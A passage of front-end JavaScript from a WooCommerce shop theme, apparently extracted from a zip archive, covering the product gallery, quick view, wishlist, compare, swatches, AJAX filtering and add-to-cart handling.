                    var large_image_src = img.attr('data-large_image'),
                        large_image_w = img.attr('data-large_image_width'),
                        large_image_h = img.attr('data-large_image_height'),
                        alt = img.attr('alt'),
                        item = {
                            alt: alt,
                            src: large_image_src,
                            w: large_image_w,
                            h: large_image_h,
                            title: img.attr('data-caption') ? img.attr('data-caption') : img.attr('title')
                        };
                    items.push(item);
                }
            });
        }

        return items;
    };

    /**
     * Open photoswipe modal.
     */
    ProductGallery.prototype.openPhotoswipe = function (e) {
        e.preventDefault();

        var pswpElement = $('.pswp')[0],
            items = this.getGalleryItems(),
            eventTarget = $(e.target),
            clicked;

        if (eventTarget.is('.woocommerce-product-gallery__trigger') || eventTarget.is('.woocommerce-product-gallery__trigger img')) {
            clicked = this.$target.find('.slick-slide.slick-active');
        } else {
            clicked = eventTarget.closest('.woocommerce-product-gallery__image');
        }

        var options = $.extend({
            index: $(clicked).index(),
            addCaptionHTMLFn: function (item, captionEl) {
                if (!item.title) {
                    captionEl.children[0].textContent = '';
                    return false;
                }
                captionEl.children[0].textContent = item.title;
                return true;
            }
        }, wc_single_product_params.photoswipe_options);

        // Initializes and opens PhotoSwipe.
        var photoswipe = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, options);
        photoswipe.init();
    };

    /**
     * Function to call wc_product_gallery on jquery selector.
     */
    $.fn.wc_product_gallery = function (args) {
        new ProductGallery(this, args || wc_single_product_params);
        return this;
    };

    /*
     * Initialize all galleries on page.
     */
    $('.woocommerce-product-gallery').each(function () {

        $(this).trigger('wc-product-gallery-before-init', [this, wc_single_product_params]);

        $(this).wc_product_gallery(wc_single_product_params);

        $(this).trigger('wc-product-gallery-after-init', [this, wc_single_product_params]);

    });
});
PK     0w\ɪ$ $ #  woocommerce/js/penci-woocommerce.jsnu [        (
	function ( $ ) {
		'use strict'
		var PENCI = PENCI || {}

		/* Check mobile device
	 ---------------------------------------------------------------*/
		PENCI.isMobile = function () {
			var isMobile = false
			if ( /(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|ipad|iris|kindle|Android|Silk|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test( navigator.userAgent ) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test( navigator.userAgent.substr( 0, 4 ) ) ) {
				isMobile = true
			}
			return isMobile
		}

		/* Elementor Edit Mode
	---------------------------------------------------------------*/
		PENCI.elAction = function ( name, callback ) {
			$( window ).on( 'elementor/frontend/init', function () {
				if ( !elementorFrontend.isEditMode() ) {
					return
				}

				elementorFrontend.hooks.addAction( name, callback )
			} )
		}

		/* YITH Plugin loading icon
	 ---------------------------------------------------------------*/
		PENCI.yith = function () {
			var $list_producs = $( 'ul.products' )

			$list_producs.on( 'click', '.add_to_wishlist.single_add_to_wishlist', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$list_producs.on( 'added_to_wishlist', function () {
				$singleBtn.removeClass( 'loading' )
			} )

			$( document ).on( 'click', '.button.yith-wcqv-button', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$( document ).on( 'qv_loader_stop', function () {
				var $singleBtn = $( '.button.yith-wcqv-button' )
				if ( $singleBtn.hasClass( 'loading' ) ) {
					$singleBtn.removeClass( 'loading' )
				}
			} )

			$( document ).on( 'click', '.product a.compare:not(.added)', function ( e ) {
				var $singleBtn = $( this )
				$singleBtn.addClass( 'loading' )
			} )

			$( 'body' ).on( 'yith_woocompare_open_popup', function ( e, data ) {
				data.button.removeClass( 'loading' )
			} )
		}

		/* Product Image Slider
	 ---------------------------------------------------------------*/
		PENCI.productslider = function ( zoom = true, quickview = false ) {

			var $slider = $( '.penci-product-gallery-slider.splide' ),
				$thumbnail_slider = $( '.penci-thumbnail-slider.splide' ),
				$wrapper = $( '.woocommerce-product-gallery' ), $thumb_list = '.penci-thumbnail-image-wrapper',
				$gallery_list = '.penci-product-gallery-items', $rtl = false, $lazy = 'ondemand', $centerMode = true,
				slides = 3, $vertical

			$wrapper.removeClass( 'no-js' )

			if ( quickview ) {
				$thumb_list = '.quick-view-wrapper .penci-thumbnail-image-wrapper'
				$gallery_list = '.quick-view-wrapper .penci-product-gallery-items'
			}

			if ( $( 'body' ).hasClass( 'rtl' ) ) {
				$rtl = true
			}

			if ( $wrapper.hasClass( 'thumbnail-left' ) || $wrapper.hasClass( 'thumbnail-right' ) ) {
				$vertical = 'vertical'
			}

			if ( $wrapper.hasClass( 'quickview-screen' ) || $wrapper.hasClass( 'thumbnail-bottom' ) ) {
				$vertical = 'horizontal'
			}

			if ( window.matchMedia( '(max-width: 767px)' ).matches ) {
				$vertical = 'horizontal'
			}

			$thumbnail_slider.on( 'click', 'a', function ( e ) {
				e.preventDefault()
			} )

			if ( $slider.length > 0 && $thumbnail_slider.length > 0 ) {

				var $thumb_arg = {
					slidesPerView: 5,
					direction: $vertical,
					spaceBetween: 10,
					loop: true,
					slideActiveClass: 'active',
					slideToClickedSlide: true,
					breakpoints: {
						320: {
							direction: 'horizontal',
						},
						768: {
							direction: 'horizontal',
						},
						1170: {
							direction: $vertical,
						},
					},
					navigation: {
						nextEl: '.penci-custom-thumbnail-nav .penci-product-slider-next',
						prevEl: '.penci-custom-thumbnail-nav .penci-product-slider-prev',
					},
				}

				var swiper_thumbnail_list = new Swiper( $thumb_list, $thumb_arg )

				var swiper_gallery_list = new Swiper( $gallery_list, {
					slidesPerView: 1,
					loop: true,
					thumbs: {
						swiper: swiper_thumbnail_list,
					},
				} )

				if ( $('body').hasClass('rtl') ) {
					swiper_gallery_list.changeLanguageDirection( 'ltr' )
				}

			} else if ( $slider.length > 0 ) {
				var $slider_options
				if ( $slider.hasClass( 'fullwidth-container' ) || $slider.hasClass( 'fullwidth' ) ) {

					$( $gallery_list ).addClass( 'penci-owl-carousel penci-owl-carousel-slider' )


					const swiper = new Swiper( $gallery_list, {
						loop: true,
						spaceBetween: 30,
						centeredSlides: true,
						slidesPerView: 3,
						breakpoints: {
							320: {
								slidesPerView: 1, spaceBetween: 0,
							}, 768: {
								slidesPerView: 1, spaceBetween: 0, nav: false,
							}, 1170: {
								slidesPerView: 3,
							},
						},
					} )
				} else {
					const swiper = new Swiper( $gallery_list, {
						loop: true,
						spaceBetween: 0,
						slidesPerView: 1,
					} )
				}

				if ( $('body').hasClass('rtl') ) {
					swiper.changeLanguageDirection( 'ltr' )
				}
			}

			if ( zoom && $slider.length > 0 ) {
				swiper_gallery_list.on( 'slideChange', function ( e ) {

					var $slideritem = $( $gallery_list ).find( '.woocommerce-product-gallery__wrapper' ).eq( e.realIndex ).find( '.woocommerce-product-gallery__image' ),
						image = $slideritem.find( 'img' )

					if ( image.data( 'large_image_width' ) > $slideritem.width() ) {
						$slideritem.trigger( 'zoom.destroy' )
						if ( typeof $slideritem.zoom === 'function' ) {
							$slideritem.zoom()
						}
					}

				} )
			}


			$( '.variations_form' ).each( function () {
				var $this = $( this )
				$this.on( 'woocommerce_update_variation_values', function () {
					setTimeout( function () {
						if ( $thumbnail_slider.length > 0 ) {
							var $imgid = $this.attr( 'current-image' ),
								$slideitem = $slider.find( 'figure[data-attr_id=\'' + $imgid + '\']' ).data( 'slide_item' )

							if ( $slideitem !== undefined ) {
								swiper_gallery_list.slideTo( $slideitem )
							} else {
								swiper_gallery_list.slideTo( 0 )
							}
						}
					}, 100 )

				} )
			} )
		}

		/* Product Quick View
	 ---------------------------------------------------------------*/
		PENCI.quickview = function () {
			$( 'body' ).on( 'click', '.penci-quickview-button', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_quickview', nonce: penciwoo.nonce,
				}

				$this.addClass( 'loading' )

				var initPopup = function ( data ) {
					var items = $( data )

					$.magnificPopup.open( {
						items: {
							src: items, type: 'inline',
						}, fixedContentPos: true, removalDelay: 500, callbacks: {
							beforeOpen: function () {
								this.st.mainClass = 'quick-view-wrapper woocommerce'
							}, open: function () {
								var $form = $( '.variations_form' )
								$form.each( function () {
									$( this ).wc_variation_form().find( '.variations select:eq(0)' ).change()
								} )
								PENCI.productslider( false, true )
								$form.trigger( 'wc_variation_form' )
							},
						},
					} )
				}

				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', success: function ( data ) {
						initPopup( data )
					}, complete: function () {
						$this.removeClass( 'loading' )
						PENCI.swatches( '.quick-view-wrapper .variations_form' )
						PENCI.select2button()
						PENCI.loadingicon()
					},
				} )
			} )

			$(document).ready(function() {
				$(document.body).on('added_to_cart', function() {
					if (typeof $.magnificPopup !== 'undefined') {
						$.magnificPopup.close();
					}
				});
			});
		}

		/* Product Wish List
	 ---------------------------------------------------------------*/
		PENCI.wishlist = function () {
			$( document ).on( 'click', '.penci-addtowishlist:not(.added)', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_add_to_wishlist', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						$this.addClass( 'added' ).attr( 'href', response.data.url ).html( penciwoo.browsewishlist ).attr( 'title', penciwoo.browsewishlist ).attr( 'data-tippy-content', penciwoo.browsewishlist )
						$( '.top-search-classes.wishlist-icon .wishlist-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.wishlist span.current-item' ).html( response.data.total )
						PENCI.tippyContent()
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.addwishlist + '.</p></div>', '<div class="woocommerce notify_bottom"><a class="button wishlist_url" href="' + response.data.url + '">' + penciwoo.browsewishlist + '</a></div>', 'added_to_cart' )
					}, complete: function () {
						$this.removeClass( 'loading' )
					},
				} )
			} )

			$( document ).on( 'click', '.penci-removewishlist', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), data = {
					pid: productID, action: 'penci_remove_wishlist_item', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						$( '.top-search-classes.wishlist-icon .wishlist-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.wishlist span.current-item' ).html( response.data.total )
						var $container = $( '.penci-custom-products' )
						if ( 0 === response.data.total ) {
							$container.append( '<div class="penci-wishlist-products-empty-text"><h3 class="penci-wishlist-empty-title">' + penciwoo.wishlist_empty_heading + '</h3>' + penciwoo.wishlist_empty_text + '<p class="return-to-shop"><a class="button" href="' + penciwoo.shoppage + '">' + penciwoo.returnshop + '</a></p></div>' )
						}
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + penciwoo.removewishlist + '.</p></div>', ' ', 'added_to_cart' )

					}, complete: function () {
						$this.removeClass( 'loading' )
						$this.closest( 'li.product' ).remove()
					},
				} )
			} )
		}

		/* Product Compare
	 ---------------------------------------------------------------*/
		PENCI.compare = function () {
			$( 'body' ).on( 'click', '.penci-compare:not(.added)', function ( e ) {
				e.preventDefault()
				var $this = $( this ), productID = $this.data( 'pid' ), method = $this.data( 'method' ), data = {
					pid: productID, method: method, action: 'penci_add_to_compare', nonce: penciwoo.nonce,
				}
				$.ajax( {
					url: penciwoo.ajaxUrl, data: data, method: 'get', beforeSend: function () {
						$this.addClass( 'loading' )
					}, success: function ( response ) {
						var comparetext = penciwoo.addtocompare,
							compare_footer = '<div class="woocommerce notify_bottom"><a class="button compare_url" href="' + response.data.url + '">' + penciwoo.browsecompare + '</a></div>'
						if ( 'add' === method ) {
							$this.addClass( 'added' ).attr( 'href', response.data.url ).attr( 'title', penciwoo.browsecompare ).html( penciwoo.browsecompare ).attr( 'data-tippy-content', penciwoo.browsecompare )
							PENCI.tippyContent()
						} else {
							var currentId = $this.closest( '.penci-products-compare-table' )
							currentId.find( '[data-productid="' + productID + '"]' ).remove()
							comparetext = penciwoo.removecompare
							compare_footer = ''
						}
						$( '.top-search-classes.compare-icon .compare-contents > span' ).html( response.data.total )
						$( '.penci-mobile-bottom-nav li.compare span.current-item' ).html( response.data.total )
						var $container = $( '.penci-products-compare-table.woocommerce' )
						if ( 0 === response.data.total ) {
							$container.empty().append( '<div class="penci-empty-compare penci-empty-page penci-empty-page-text"><h3 class="penci-compare-empty-title">' + penciwoo.compare_empty_heading + '</h3>' + penciwoo.compare_empty_text + '</p><p class="return-to-shop"><a class="button" href="' + penciwoo.shoppage + '">' + penciwoo.returnshop + '</a></div>' )
						}
						PENCI.notify( '<a href="' + response.data.item_link + '"><img class="product_image" src="' + response.data.img + '" alt=""/></a><div><a class="toast-title" href="' + response.data.item_link + '">' + response.data.title + '</a><p>' + comparetext + '.</p></div>', compare_footer, 'added_to_cart' )
					}, complete: function () {
						$this.removeClass( 'loading' )
					},
				} )
			} )
		}

		/* Product Swatches
	 ---------------------------------------------------------------*/
		PENCI.swatches = function ( selector ) {
			$( selector ).each( function () {
				var $form = $( this )

				$form.addClass( 'swatches-support' ).on( 'click', '.swatch', function ( e ) {
					e.preventDefault()

					var $el = $( this ), $select = $el.closest( '.value' ).find( 'select' ),
						value = $el.attr( 'data-value' )

					if ( $el.hasClass( 'disabled' ) ) {
						return
					}

					// For old WC.
					$select.trigger( 'focusin' )

					// Check if this combination is available.
					if ( !$select.find( 'option[value="' + value + '"]' ).length ) {
						$el.siblings( '.swatch' ).removeClass( 'selected' )
						$select.val( '' ).change()
						$form.trigger( 'penci_no_matching_variations', [$el] )
						return
					}

					if ( $el.hasClass( 'selected' ) ) {
						$select.val( '' )
						$el.removeClass( 'selected' )
					} else {
						$el.addClass( 'selected' ).siblings( '.selected' ).removeClass( 'selected' )
						$select.val( value )
					}
					$select.change()
				} ).on( 'woocommerce_variation_select_change', function () {
					$form.addClass( 'has-selected-swatch' )
				} ).on( 'click', '.reset_variations', function () {
					$form.find( '.swatch.selected' ).removeClass( 'selected' )
					$form.find( '.swatch.disabled' ).removeClass( 'disabled' )
					$form.removeClass( 'has-selected-swatch' )
				} ).on( 'woocommerce_update_variation_values', function () {
					setTimeout( function () {
						$form.find( 'tbody tr' ).each( function () {
							var $variationRow = $( this ), $options = $variationRow.find( 'select' ).find( 'option' ),
								$selected = $options.filter( ':selected' ), values = []

							$options.each( function ( index, option ) {
								if ( option.value !== '' ) {
									values.push( option.value )
								}
							} )

							$variationRow.find( '.swatch' ).each( function () {
								var $swatch = $( this ), value = $swatch.attr( 'data-value' )

								if ( values.indexOf( value ) > - 1 ) {
									$swatch.removeClass( 'disabled' )
								} else {
									$swatch.addClass( 'disabled' )

									if ( $selected.length && value === $selected.val() ) {
										$swatch.removeClass( 'selected' )
									}
								}
							} )
						} )
					}, 100 )
				} ).on( 'penci_no_matching_variations', function () {
					window.alert( wc_add_to_cart_variation_params.i18n_no_matching_variations_text )
				} )
			} )
		}

		/* Product Quantity
	 ---------------------------------------------------------------*/
		PENCI.quantity = function () {
			if ( !String.prototype.getDecimals ) {
				String.prototype.getDecimals = function () {
					var num = this, match = (
						'' + num
					).match( /(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/ )

					if ( !match ) {
						return 0
					}

					return Math.max( 0, (
						                    match[1] ? match[1].length : 0
					                    ) - (
						                    match[2] ? + match[2] : 0
					                    ) )
				}
			}

			$( 'body' ).on( 'click', '.plus, .minus', function () {
				var $this = $( this ), $qty = $this.closest( '.quantity' ).find( '.qty' ),
					currentVal = parseFloat( $qty.val() ), max = parseFloat( $qty.attr( 'max' ) ),
					min = parseFloat( $qty.attr( 'min' ) ), step = $qty.attr( 'step' )

				if ( !currentVal || currentVal === '' || currentVal === 'NaN' ) {
					currentVal = 0
				}
				if ( max === '' || max === 'NaN' ) {
					max = ''
				}
				if ( min === '' || min === 'NaN' ) {
					min = 0
				}
				if ( step === 'any' || step === '' || step === undefined || parseFloat( step ) == 'NaN' ) {
					step = '1'
				}

				if ( $this.is( '.plus' ) ) {
					if ( max && (
						currentVal >= max
					) ) {
						$qty.val( max )
					} else {
						$qty.val( (
							currentVal + parseFloat( step )
						).toFixed( step.getDecimals() ) )
					}
				} else {
					if ( min && (
						currentVal <= min
					) ) {
						$qty.val( min )
					} else if ( currentVal > 0 ) {
						$qty.val( (
							currentVal - parseFloat( step )
						).toFixed( step.getDecimals() ) )
					}
				}

				$qty.trigger( 'change' )
			} )
		}

		/* Product Loop
	 ---------------------------------------------------------------*/
		PENCI.productLoop = function () {
			$( 'body' ).on( 'click', '.penci-swatch-item', function () {
				var current_swatches = $( this ), $this = $( this ).closest( '.penci-soledad-product' ),
					$imgMain = $this.find( '.penci-main-loop-image > img' ),
					$hoverImg = $this.find( '.hover-img > a img' )
				$this.addClass( 'loading-image' ).removeClass( 'active-custom-swatches' )
				$this.find( '.penci-swatch-item' ).removeClass( 'active-swatches' )
				var $variable_img_src = $( this ).data( 'image-src' ),
					$variable_img_srcset = $( this ).data( 'image-srcset' ),
					$variable_img_sizes = $( this ).data( 'image-sizes' )
				if ( $variable_img_src ) {
					$imgMain.attr( 'src', $variable_img_src ).attr( 'srcset', $variable_img_srcset ).attr( 'sizes', $variable_img_sizes ).one( 'load', function () {
						$this.removeClass( 'loading-image' ).addClass( 'active-custom-swatches' )
						current_swatches.addClass( 'active-swatches' )
					} )

					if ( $hoverImg.length > 0 ) {
						$hoverImg.attr( 'src', $variable_img_src ).attr( 'srcset', $variable_img_srcset ).attr( 'sizes', $variable_img_sizes )
					}
				}
			} )
		}

		/* Product Tippy
	 ---------------------------------------------------------------*/
		PENCI.tippyContent = function () {
			if ( PENCI.isMobile() || window.matchMedia( '(max-width: 768px)' ).matches ) {
				return false
			}

			$( '.penci-product-loop-button .button' ).each( function () {
				$( this ).attr( 'data-tippy-content', $( this ).text() )
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-top-left .penci-product-loop-button .button', {
				placement: 'right',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-bottom-left .penci-product-loop-button .button', {
				placement: 'right',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-top-right .penci-product-loop-button .button', {
				placement: 'left',
			} )

			tippy( 'ul.products.icon-align-vertical.icon-position-bottom-right .penci-product-loop-button .button', {
				placement: 'left',
			} )

			tippy( 'ul.products.icon-align-horizontal .penci-product-loop-button .button', {
				placement: 'top',
			} )

			tippy( '.penci-swatch-item', { placement: 'top' } )
			tippy( '.soledad-product-filter .layer-term-name.penci-tooltip', { placement: 'top' } )
		}

		/* Product Ajax Filter
	 ---------------------------------------------------------------*/

		PENCI.updateURL = function ( uri, key, value ) {
			var re = new RegExp( '([?&])' + key + '=.*?(&|$)', 'i' )
			var separator = uri.indexOf( '?' ) !== - 1 ? '&' : '?'
			if ( uri.match( re ) ) {
				return uri.replace( re, '$1' + key + '=' + value + '$2' )
			} else {
				return uri + separator + key + '=' + value
			}
		}

		PENCI.ajaxfilter = function () {

			$( document ).on( 'change', 'select.orderby', function ( event ) {
				var $form = $( this ).closest( 'form' )
				$form.find( '[name="_pjax"]' ).remove()
				$.pjax( {
					timeout: 5000, container: '#main', fragment: '#main', url: '?' + $form.serialize(),
				} )
			} )

			$( document ).on( 'change', 'select.penci-widget-layered-nav-dropdown', function ( event ) {
				var $form = $( this ).closest( 'form' ), $attr_name = $( this ).data( 'slug' ),
					$updateURL = PENCI.updateURL( window.location.href, 'filter_' + $attr_name, $( this ).val() )
				$form.find( '[name="_pjax"]' ).remove()
				$form.find( '[name="filter_' + $attr_name + '"]' ).val( this.value )
				$.pjax( {
					timeout: 5000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: $updateURL,
				} )
			} )

			$( '.woocommerce-ordering' ).on( 'submit', function ( e ) {
				e.preventDefault( e )
			} )

			$( document ).on( 'submit', '.widget_price_filter form', function ( event ) {
				event.preventDefault( event )
				$.pjax( {
					timeout: 5000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					url: '?' + $( this ).serialize(),
				} )
			} )

			$( '.penci-widget-layered-nav-dropdown-form' ).on( 'submit', function ( e ) {
				e.preventDefault( e )
			} )

			$.each( [
				'body:not(.elementor-page) a.layered-nav-link',
				'body:not(.elementor-page) .penci-products-shop-view a',
				'body:not(.elementor-page) .soledad-price-filter a',
				'body:not(.elementor-page) .penci-products-per-page a',
				'body:not(.elementor-page) .penci-widget-stock-status a',
				'body:not(.elementor-page) .widget_rating_filter a',
				'body:not(.elementor-page) .penci-active-filters a',
				'body:not(.elementor-page) .woocommerce-pagination ul li a',
			], function ( index, value ) {
				$( document ).pjax( value, {
					timeout: 10000,
					container: '.penci-woo-page-container',
					fragment: '.penci-woo-page-container',
					scrollTo: false,
				} )
			} )

			$( document ).on( 'pjax:send', function ( xhr, options ) {
				var mainClass = $( xhr.relatedTarget ), bodyClass = $( mainClass ).closest( 'body' )

				if ( ! $( 'body' ).hasClass('woocommerce') ) {
					return;
				}

				$( 'body' ).addClass( 'pre-load-content' )
				if ( penciwoo.scrolltotopajax > 0 && !bodyClass.hasClass( 'elementor-page' ) ) {
					var element = document.querySelector( '#header' )
					element.scrollIntoView( { behavior: 'smooth', block: 'end' } )
				}
			} )

			$( document ).on( 'pjax:complete', function () {
				$( 'body' ).removeClass( 'pre-load-content' )
				PENCI.tippyContent()
				PENCI.pagination()
				PENCI.loadingicon()
				PENCI.productQuery()
				PENCI.productCarousel()
				PENCI.fixproductIconsize()
				PENCI.quickshop()
				PENCI.misc()
				PENCI.product_sticky_sidebar()
				$( document.body ).trigger( 'wc_fragment_refresh' )
				$( document.body ).trigger( 'init_price_filter' )
			} )

			$( 'body' ).on( 'click', '.woocommerce-pagination.ajax-pagination li a', function ( e ) {

				if ( $( 'body' ).hasClass( 'penci-wishlist-page' ) ) {
					return
				}

				e.preventDefault()
				var reged = new RegExp( /\?product-page=([0-9\-]+)\&?/ ), link = $( this ).attr( 'href' ),
					$settings = $( this ).closest( '.woocommerce-pagination.ajax-pagination' ).data( 'settings' ),
					$contentID = $( this ).closest( '.page-unique-part' ).data( 'part' ),
					$contentParent = $( this ).closest( '.elementor-widget-container' ),
					$currentpage = reged.test( link )


				if ( $currentpage ) {
					$.ajax( {
						url: penciwoo.ajaxUrl, data: {
							'action': 'penci_ajax_load_products',
							'settings': $settings,
							'preloader': true,
							'product-page': link.match( reged )[1],
							'requestid': penciwoo.nonce,
						}, method: 'get', beforeSend: function () {
							$contentParent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							var result = data, innerRes = $( result ).html()
							$contentParent.removeClass( 'pre-load-content' )
							$contentParent.find( '.' + $contentID ).empty().html( innerRes )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
						},
					} )
				} else {
					$.ajax( {
						url: link, method: 'get', beforeSend: function () {
							$contentParent.addClass( 'pre-load-content' )
						}, success: function ( data ) {
							var result = data, innerRes = $( result ).html()
							$contentParent.removeClass( 'pre-load-content' )
							$contentParent.find( '.' + $contentID ).empty().html( innerRes )
							PENCI.tippyContent()
							PENCI.loadingicon()
							PENCI.fixproductIconsize()
							PENCI.quickshop()
						},
					} )
				}
			} )
		}

		/* Product Ajax ATC
	 ---------------------------------------------------------------*/
		PENCI.productATC = function () {
			$.fn.PenciserializeArrayAll = function () {
				var rCRLF = /\r?\n/g
				return this.map( function () {
					return this.elements ? jQuery.makeArray( this.elements ) : this
				} ).map( function ( i, elem ) {
					var val = jQuery( this ).val()
					if ( val == null ) {
						return val == null
					} else if ( this.type === 'checkbox' && this.checked === false ) {
						return { name: this.name, value: this.checked ? this.value : '' }
					} else {
						return jQuery.isArray( val ) ? jQuery.map( val, function ( val, i ) {
							return { name: elem.name, value: val.replace( rCRLF, '\r\n' ) }
						} ) : { name: elem.name, value: val.replace( rCRLF, '\r\n' ) }
					}
				} ).get()
			}
			$( document ).on( 'click', 'form.cart:not(.variations_form):not(.grouped_form) .single_add_to_cart_button:not(.disabled)', function ( e ) {

				var $thisbutton = $( this ), $form = $thisbutton.closest( 'form.cart' ),
					data = $form.find( 'input:not([name="product_id"]), select, button, textarea' ).PenciserializeArrayAll() || 0,
					mainClass = $thisbutton.closest( '.product.type-product' )

				if ( mainClass.hasClass( 'product-type-external' ) || penciwoo.addtocart_jax ) {
					return
				}

				$.each( data, function ( i, item ) {
					if ( 'add-to-cart' === item.name ) {
						item.name = 'product_id'
						item.value = $form.find( 'input[name=variation_id]' ).val() || $thisbutton.val()
					}
				} )

				e.preventDefault()

				$( document.body ).trigger( 'adding_to_cart', [$thisbutton, data] )

				$.ajax( {
					type: 'POST',
					url: woocommerce_params.wc_ajax_url.toString().replace( '%%endpoint%%', 'add_to_cart' ),
					data: data,
					beforeSend: function () {
						$thisbutton.removeClass( 'added' ).addClass( 'loading' )
					},
					complete: function () {
						$thisbutton.addClass( 'added' ).removeClass( 'loading' )
					},
					success: function ( response ) {

						if ( response.error && response.product_url ) {
							window.location = response.product_url
							return
						}

						$( document.body ).trigger( 'added_to_cart', [
							response.fragments, response.cart_hash, $thisbutton,
						] )
					},
				} )

				return false

			} )
		}

		/* Product Ajax Variable Add to Cart
    ---------------------------------------------------------------*/
		PENCI.productVATC = function () {
			// wc_add_to_cart_params is required to continue, ensure the object exists
			if ( typeof wc_add_to_cart_params === 'undefined' || penciwoo.addtocart_jax ) {
				return false
			}

			// Ajax add to cart
			$( document ).on( 'click', '.variations_form .single_add_to_cart_button', function ( e ) {

				e.preventDefault()

				var $variation_form = $( this ).closest( '.variations_form' ),
					var_id = $variation_form.find( 'input[name=variation_id]' ).val(),
					product_id = $variation_form.find( 'input[name=product_id]' ).val(),
					quantity = $variation_form.find( 'input[name=quantity]' ).val(),
					variations = $variation_form.find( 'select[name^=attribute]' )

				$( '.ajaxerrors' ).remove()
				var item = {}, check = true


				/* Updated code to work with radio button - mantish - WC Variations Radio Buttons - 8manos */
				if ( !variations.length ) {
					variations = $variation_form.find( '[name^=attribute]:checked' )
				}

				/* Backup Code for getting input variable */
				if ( !variations.length ) {
					variations = $variation_form.find( 'input[name^=attribute]' )
				}

				variations.each( function () {

					var $this = $( this ), attributeName = $this.attr( 'name' ), attributevalue = $this.val(), index,
						attributeTaxName

					$this.removeClass( 'error' )

					if ( attributevalue.length === 0 ) {
						index = attributeName.lastIndexOf( '_' )
						attributeTaxName = attributeName.substring( index + 1 )

						$this.addClass( 'required error' ).before( '<div class="ajaxerrors"><p>Please select ' + attributeTaxName + '</p></div>' )

						check = false
					} else {
						item[attributeName] = attributevalue
					}

				} )

				if ( !check ) {
					return false
				}

